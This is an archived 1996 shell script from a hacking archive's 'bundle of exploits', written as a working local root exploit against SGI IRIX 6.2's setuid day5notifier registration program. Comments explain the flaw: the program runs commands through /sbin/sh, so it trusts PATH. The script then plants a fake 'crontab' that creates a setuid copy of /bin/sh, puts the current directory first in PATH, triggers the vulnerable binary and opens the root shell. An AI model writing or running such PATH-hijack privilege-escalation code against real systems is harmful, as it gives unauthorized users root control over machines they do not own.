home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / daynotify.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  1KB  |  49 lines

  1. #!/bin/sh
  2. # reg4root - Register me for Root!
  3. #
  4. # Exploit a bug in SGI's Registration Software
  5. #
  6. # -Mike Neuman
  7. # mcn@EnGarde.com
  8. # 8/6/96
  9. #
  10. # The bug is contained within the /var/www/htdocs/WhatsNew/CustReg/day5notifier
  11. # program, apparently installed by default under IRIX 6.2. It may appear in
  12. # the other setuid root program (day5datacopier) there, but I haven't had the
  13. # time to check.
  14. #
  15. # SGI is apparently trying to do the right thing (by using execv() instead of
  16. # system(), but apparently some engineer decided that execv() was too limited
  17. # in capabilities, so he/she translated system() to:
  18. #
  19. # execve("/sbin/sh", "sh", "-c", "command...")
  20. #
  21. # This completely eliminates any security benefits execv() had!
  22. #
  23. # The program probably should not be setuid root. There are at least another
  24. # dozen potential security vulnerabilities (ie. _RLD_* variables, race
  25. # conditions, etc)  found just by looking at strings.
  26. #
  27. # Note crontab and ps are only two of the problems. There are probably others.
  28.  
  29. MYPWD=`pwd`
  30. mkdir /tmp/emptydir.$$
  31. cd /tmp/emptydir.$$
  32.  
  33. cat <<EOF >crontab
  34. cp /bin/sh ./suidshell
  35. chmod 4755 suidshell
  36. EOF
  37. chmod +x crontab
  38.  
  39. PATH=.:$PATH
  40. export PATH
  41.  
  42. /var/www/htdocs/WhatsNew/CustReg/day5notifier -procs 0
  43.  
  44. ./suidshell
  45.  
  46. cd $MYPWD
  47. rm -rf /tmp/emptydir.$$
  48.  
  49.